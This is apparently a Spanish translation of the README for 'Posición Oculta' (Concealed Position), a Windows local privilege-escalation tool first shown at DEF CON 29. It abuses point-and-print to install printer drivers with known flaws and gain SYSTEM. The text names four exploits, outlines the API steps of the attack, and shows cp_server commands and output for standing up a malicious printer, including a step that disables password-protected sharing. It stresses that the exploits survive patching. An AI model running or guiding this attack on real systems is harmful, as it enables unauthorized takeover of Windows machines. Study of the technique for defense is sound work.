
Herramienta de escalada de privilegios mediante controlador de impresión propio
Posición Oculta es un ataque de escalada de privilegios locales contra Windows que utiliza el concepto de "Trae tu propia vulnerabilidad". Específicamente, Posición Oculta (CP) utiliza la lógica tal como fue diseñada de paquete punto e impresión en Windows que permite a un usuario con pocos privilegios preparar e instalar controladores de impresora. CP instala específicamente controladores con vulnerabilidades conocidas que luego se explotan para escalar a SYSTEM. Posición Oculta se presentó por primera vez en DEF CON 29.
Posición Oculta ofrece cuatro exploits, todos con nombres igualmente tontos:
Los exploits son interesantes porque, además de SLASHINGDAMAGE, seguirán funcionando incluso después de que los problemas estén parcheados. El único mecanismo que Windows tiene para impedir que los usuarios usen controladores antiguos es revocar el certificado del controlador, algo que no(?) se ha hecho históricamente.
Probablemente ACIDDAMAGE. RADIANTDAMAGE y POISONDAMAGE son condiciones de carrera (para sobrescribir una DLL) y SLASHINGDAMAGE, con suerte, está parcheado en casi todas partes.
Posición Oculta tiene dos partes. Una impresora malvada y un cliente. El cliente contacta al servidor, obtiene un controlador, lo almacena en el almacén de controladores, instala la impresora y explota el proceso de instalación. ¡Fácil! En términos de MSAPI, el ataque es algo así:
Paso 1: Preparar el controlador en el almacén de controladores
cliente a servidor: GetPrinterDriver
servidor a cliente: Respuesta con el controlador
Paso 2: Instalar el controlador desde el almacén de controladores
cliente: InstallPrinterDriverFromPackage
Paso 3: Agregar una impresora local (etapa de explotación)
cliente: Add Printer
Es importante notar que SLASHINGDAMAGE en realidad no funciona así. SLASHINGDAMAGE es una implementación del ataque de impresora malvada descrito en DEFCON 28 (2020) y ha sido parcheado desde hace mucho tiempo. Simplemente me gusta el ataque (inspiró el resto de este desarrollo) y pensé en dejar el exploit en mi servidor malvado... por más confuso que pueda ser.
Se podría argumentar que sí. El almacén de controladores es una "colección confiable de paquetes de controladores de terceros" que requiere acceso de administrador para modificar. Usando GetPrinterDriver, un atacante con pocos privilegios puede preparar controladores arbitrarios en el almacén. Esto, para mí, cruza un límite de seguridad claro.
Microsoft pareció estar de acuerdo cuando emitió CVE-2021-34481.
Aunque... se podría argumentar que esto es simplemente una característica del sistema y no una vulnerabilidad en absoluto. Realmente no importa mucho. Un atacante puede escalar a SYSTEM en instalaciones estándar de Windows.
Al menos Windows 8.1 y superiores.
¡Simple! ¡Tan simple que habrá muchos párrafos para describirlo!
Primero, veamos las opciones de línea de comandos de cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
Opciones CLI:
-h, --help Mostrar el mensaje de ayuda
-e, --exploit arg El exploit a usar
-c, --cabs arg (=.\cab_files) La ubicación de los archivos cabinet
Exploits disponibles:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Arriba puedes ver que el servidor requiere dos opciones:
Por ejemplo, supongamos que queremos configurar una impresora malvada que sirva el controlador ACIDDAMAGE. Simplemente haz esto:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creando espacio temporal...
[+] Expandiendo .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Insertando en el almacén de controladores
[+] Limpiando espacio temporal
[+] Instalando el controlador de impresión
[+] ¡Controlador instalado!
[+] Instalando impresora compartida
[+] ¡Impresora compartida instalada!
[+] Automatización completada.
[!] ¡PASOS MANUALES IMPORTANTES!
[0] En Configuración de uso compartido avanzado, desactive la protección por contraseña en uso compartido.
[1] ¡Listo para usar!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Y eso es todo, verás una nueva impresora en tu sistema:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer